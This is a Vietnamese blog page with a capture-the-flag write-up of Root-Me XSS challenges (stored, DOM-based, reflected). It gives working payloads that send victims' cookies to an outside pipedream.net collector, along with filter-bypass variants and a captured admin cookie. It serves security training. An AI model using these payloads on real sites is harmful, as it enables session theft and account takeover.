Shang
Blog 👨‍💻
  • 🌸Introduction
  • 💻WEB SECURITY
    • Research Vulnerability
      • 📲Server-side topics
        • 🔏API Testing
        • 🔏Race conditions
        • 🔏XML external entity (XXE) injection
        • 🔏Server-side request forgery (SSRF)
        • 🔏File upload vulnerabilities
        • 🔏Access control vulnerabilities and privilege escalation
        • 🔏Business logic vulnerabilities
        • 🔏OS Command injection
        • 🔏Directory traversal
        • 🔏Authentication vulnerabilities
        • 🔏SQL injection
      • 📱Client-side topics
        • 🔏DOM-based vulnerabilities
        • 🔏Cross-origin resource sharing (CORS)
        • 🔏WebSockets
        • 🔏Clickjacking (UI redressing)
        • 🔏Cross-site request forgery (CSRF)
        • 🔏Cross-site scripting(XSS)
      • 🌀Advanced topics
        • 🔐Web cache poisoning
        • 🔐HTTP request smuggling
        • 🔐Prototype pollution
        • 🔐Server-side template injection(SSTI)
        • 🔐Insucure deserialization
    • Learn Java Vulnerability
      • Intro & Setup
      • Java Reflection Part 1
      • Java Reflection Part 2
    • Research Documents
      • 🎯DNS Rebinding
      • 🍪Remote Code Execution - Insecure Deserialization
      • 🍪Remote Code Execution on Jinja - SSTI Lab
      • 🍪Exploit cross-site request forgery (CSRF) - Lab
      • 🍪Exploit a misconfigured CORS - Lab
      • 🍪Same Origin Policy (SOP) - Lab
  • 📝WRITE-UP CTF
    • CTF Competitions
      • 🔰[WolvCTF 2023] Writeup Web
      • 🔰[M☆CTF Training 2023] Writeup Web
      • 🔰[HackTM CTF 2023] Writeup Web
      • 🔰[Incognito 4.0 2023] Writeup Web
      • 🔰[LA CTF 2023] Re-writeup Web
      • 🔰[Dice CTF 2023] Writeup Web
      • 🔰[ByteBandits CTF 2023] Writeup Web
      • 🔰[Knight CTF 2023] Writeup Web
      • 🔰[Sekai CTF 2022] Writeup Web
      • 🔰[WRECK CTF 2022] Writeup Web
      • 🔰[Maple CTF 2022] Writeup Web
    • CTF WarGame
      • ✏️[Root me] Writeup Sever Side
      • ✏️Websec.fr
      • ✏️[Root me] Writeup XSS Challenge
    • [tsug0d]-MAWC
      • 💉TSULOTT
      • 💉IQTEST
      • 🧬TooManyCrypto
      • 🧬NumberMakeup
    • Pwnable.vn
Powered by GitBook
On this page
  • XSS - Stored 1
  • XSS DOM Based – Introduction
  • XSS Reflected
  • XSS - Stored 2
  1. WRITE-UP CTF
  2. CTF WarGame

[Root me] Writeup XSS Challenge

PreviousWebsec.frNext[tsug0d]-MAWC

Last updated 2 years ago

XSS - Stored 1

Trong bài này này basic, khi vào chúng ta sẽ thấy interface như này:

Có form điền Title và Mesage khi đó chúg ta hãy thử gửi lên một đoạn message như người dùng bình thường, tiếp đó thử chèn đoạn script: <script>alert(1)</script>

Khi đó chúng ta thấy script này chèn thành công vào span tag vào payload thành công từ đó chúng ta thay alert() thành document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c="+document.cookie

XSS DOM Based – Introduction

Trong bài này thì khi vào nó cho một input nhập từ 0 tới 100, thử nhập 100 xem nó sẽ ra gì:

Ctr+U để mở source code lên xem như nào:

Ở đây ta thấy rằng có một biến là number và khi ta nhập số là biến number được gán vào:

Ý tưởng bài này thì chúng ta sẽ break out JS bằng cách '; hoặc '-

';alert(1)// hoặc '-alert(1)//

Payload thành công!!! Khi đó đoạn script nó sẽ như này:

Vậy như bài trên chúng ta lại thay payload như này trên URL

http://my-url/number=%27%3Bdocument.location%3D%22https%3A%2F%2Feoqnvkovg5mm73q.m.pipedream.net%3Fc%3D%22%2Bdocument.cookie//

Vì XSS là lỗ hổng client side nên chúng ta sẽ gửi nó từ contact cho admin:

Khi đó con bot sẽ leak cookie của admin về khi admin nhấp vào đọc:

XSS Reflected

Bài này nhìn qua thì không có form để test XSS mà đề bài là Reflected XSS nên chúng ta sẽ xem xét ở URL:

Nếu chúng ta thay đổi p=sha1 thì nó sẽ ra gì:

Nó sẽ ra như này, tiếp đó mở source code kiếm tra:

Thấy rằng p=sha1 là giá trị của thuộc tính href như vậy chúng ta cần suy nghĩa làm sao để chèn được vào đây.

Dùng thuộc tính onmousover hoặc onclick để thêm vào thẻ <a> nhưng nên nhớ rằng thường thì admin sẽ không nhấp vào link lạ nên ở đây chúng ta chọn omouseover, khi đó đoạn gắn shau p sẽ là:

sha1' onmousemove='alert(1)

Khi đó payload sẽ như này:

sha1' onmousemove='document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c=".concat(document.cookie)

Nên nhớ rằng chúng ta phải dùng nối chuỗi .concat trong JS vì dấu + đã bị filter đi

Sau khi gửi và report cho admin thì chúng ta chờ một phút để con bot leak thông tin và gửi về requestbin

XSS - Stored 2

Interface khá giống với bài Stored 1 nhưng chỉ có điều nó thêm status

Bật source code lên kiểm tra thì có một class được đặt là invite

Ý tưởng sẽ dùng Burp suite để bắt hành động:

Nhận thấy Cookie có status:invite, vậy thì chúng ta hay thử thay đổi giá trị status xem như nào:

Khi đó chúng ta forward để trang web gửi lên sever và nhận ra rằng status đã thay đổi

Ý tưởng bây giờ là break out đoạn souce code này:

Ở đây payload lúc đó sẽ là "><img scr=1 onerror=alert(1) /> ("> để đóng thẻ i lại)

Payload thành công giờ chỉ cần thay alert() thành document....và gửi nó lên, đợi một lúc thì được trả về ADMIN_COOKIE như này<<<Lưu ý: có thể dùng .concat để nối chuỗi nếu bị filter dấu + >>

Lúc đầu mình nghĩa đây là flag nhưng không đúng, thì chợt nhận ra status nó là invite thì mình cần thay đổi cookie và reload lại trang:

Cookie: status=invite; ADMIN_COOKIE=SY2USDIH78TF3DFU78546TE7F

Các phần tiếp theo sẽ được cập nhật trong thời gian sớm nhất cảm ơn các bạn đã đọc bài...

Chờ một phút sau cookie sẽ được gửi về

requestbin
📝
✏️
Page cover image
Graphical user interface, text, application Description automatically generated
Graphical user